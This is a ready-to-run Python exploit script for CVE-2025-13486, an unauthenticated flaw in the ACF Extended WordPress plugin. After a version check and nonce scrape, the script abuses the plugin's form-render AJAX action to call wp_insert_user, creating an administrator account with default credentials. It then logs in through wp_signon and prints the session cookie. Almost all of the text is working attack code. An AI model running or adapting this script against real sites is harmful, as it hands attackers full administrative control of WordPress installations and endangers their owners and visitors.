ACF Extended (ACFE) `prepare_form()` Unauthenticated RCE via Privilege Escalation (CVE-2025-13486)

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#!/usr/bin/env python3
"""
===============================================================================
Author:         Sélim Lanouar (whattheslime)
CVE:            CVE-2025-13486
CVE Author:     Marcin Dudek (dudekmar)
Date:           2025-12-17
Title:          Remote Code Execution & Privilege Escalation exploit.
Vendor URL:     https://www.acf-extended.com/
Version:        from 0.9.0.5 to 0.9.1.1 included
-------------------------------------------------------------------------------
Install:        python3 -m venv venv && venv/bin/pip install -r requirements.txt
Usage:          venv/bin/python3 CVE-2025-13486.py -h
-------------------------------------------------------------------------------
https://sploitus.com/exploit?id=13551590-2822-5E83-9737-F55F4B2F9F82
https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-extended/advanced-custom-fields-extended-0905-0911-unauthenticated-remote-code-execution-in-prepare-form
===============================================================================
"""
import argparse
import re
from datetime import datetime
from functools import partial
from urllib.parse import urljoin

import httpx
import socksio
from packaging.version import Version as v


# --------------------------------------------------------------- Constants ---

AGENT = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
WORKER = 5
TIMEOUT = 10
PROXY = None
VERBOSITY = 0

# ------------------------------------------------------------------- Utils ---

def log(color: int, level: str, message: str):
    date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
    print(f"\033[{color!s}m[{date}] [{time}] [{level}]\033[0m {message}")

log_warning     = partial(log, 33, "warning")
log_error       = partial(log, 31, "error")
log_success     = partial(log, 32, "success")
log_info        = partial(log, 34, "info")


def parse_args() -> argparse.Namespace:
    """
    Parse user arguments.
    """
    parser = argparse.ArgumentParser(
        description="CVE-2025-13486 — Remote Code Execution & "
        "Privilege Escalation exploit."
    )

    parser_exploit = parser.add_argument_group("exploit")
    parser_exploit.add_argument(
        "-t", "--target", type=str, required=True,
        help="target url (e.g. http://target.com).",
    )
    parser_exploit.add_argument(
        "-e", "--exploit", action="store_true",
        help="Enable exploitation mode and create a user on the target."
    )
    
    parser_http = parser.add_argument_group("http")
    parser_http.add_argument(
        "-x", "--proxy", type=str, default=PROXY,
        help=f"Proxy url (e.g. http://127.0.0.1:8080) (default: {PROXY!s}).",
    )
    parser_http.add_argument(
        "-H", "--headers", type=str, nargs="+", default=[],
        help="Custom headers (e.g. 'Header1: Value1' 'Header2: Value2').",
    )
    parser_http.add_argument(
        "--timeout", type=float, default=TIMEOUT,
        help=f"Set HTTP requests timeout (default: {TIMEOUT!s})."
    )

    parser_user = parser.add_argument_group("user")
    parser_user.add_argument(
        "-u", "--username", type=str, default="adm1n",
        help="Username for the user to create (default: adm1n)"
    )
    parser_user.add_argument(
        "-p", "--password", type=str, default="2c5c87a94a2c5c87a94a",
        help="Password for the user to create (default: 2c5c87a94a2c5c87a94a)"
    )
    parser_user.add_argument(
        "-r", "--role", type=str, default="administrator",
        help="Role for the user to create (default: administrator)",
    )

    return parser.parse_args()

# ----------------------------------------------------------------- Exploit ---

def exploit(
    http_client: httpx.AsyncClient,
    target: str,
    username: str,
    password: str,
    role: str,
    perform_exploit: bool = True
) -> bool:
    """
    Exploitation function. Return True if exploit succeeded, False otherwise.
    """
    try:
        response = http_client.get(target)

        # Get version
        match = re.search(
            r"acfe-input.min.css\?ver=([\d\.]+)", response.text
        )
        if match:
            version = v(match.group(1))
            if version >= v("0.9.0.5") and version <= v("0.9.1.1"):
                log_success(f"ACFE version is vulnerable: {version}")
            else:
                log_info(f"ACFE version is not vulnerable: {version}")
                return False
        else:
            log_warning(f"Unable to find ACFE version!")
            return False

        # Check if exploitation needs to be performed
        if not perform_exploit:
            log_info(f"Use `--exploit` to perform exploitation.")
            return True

        # Get nonce
        match = re.search(
            r'ajaxurl"\s*:\s*"[^"]+".*?"nonce"\s*:\s*"([^"]+)',
            response.text
        )
        if match is None:
            log_info("Unable to find ACFE nonce!")    
            return False
        
        nonce = match.group(1)
        log_success(f"ACFE nonce found: {nonce}")

        # Create user account
        url = urljoin(target, "/wp-admin/admin-ajax.php")
        data = {
            "action": "acfe/form/render_form_ajax",
            "nonce": nonce,
            "form[render]": "wp_insert_user",
            "form[user_login]": username,
            "form[user_pass]": password,
            "form[role]": role
        }
        response = http_client.post(url, data=data)
        log_success(f"Account created: {username}:{password} ({role})")
        # Log in
        data = {
            "action":  "acfe/form/render_form_ajax",
            "nonce": nonce,
            "form[render]": "wp_signon",
            "form[user_login]": username,
            "form[user_password]": password,
        }
        response = http_client.post(url, data=data)
        header = response.headers.get("set-cookie", "")
        for username in header:
            log_success(f"Authentication succeded!")
            log_info(f"Cookie: {header.split(';')[0]}")
            return True
        
        log_info("Authentication failed.")

    except httpx.HTTPError as error:
        log_error(f"HTTP client error: {error!s}")
    except socksio.exceptions.ProtocolError as error:
        log_error(f"SOCKS protocol error: {error!s}")
    except Exception as error:
        log_error(f"Unexpected error occurred: {error!s}")

    return False

# -------------------------------------------------------------------- Main ---

def main():
    """
    Program entry point.
    """
    args = parse_args()

    # Header parsing.
    headers_list = [["User-Agent", AGENT]]
    headers_list += [header.split(":", 1) for header in args.headers]
    headers = {header[0].strip(): header[1].strip() for header in headers_list}

    with httpx.Client(
        follow_redirects=False,
        headers=headers,
        proxy=args.proxy,
        verify=False,
        timeout=args.timeout
    ) as http_client:
        exploit(
            http_client,
            args.target,
            args.username,
            args.password,
            args.role,
            args.exploit
        )


if __name__ == "__main__":
    main()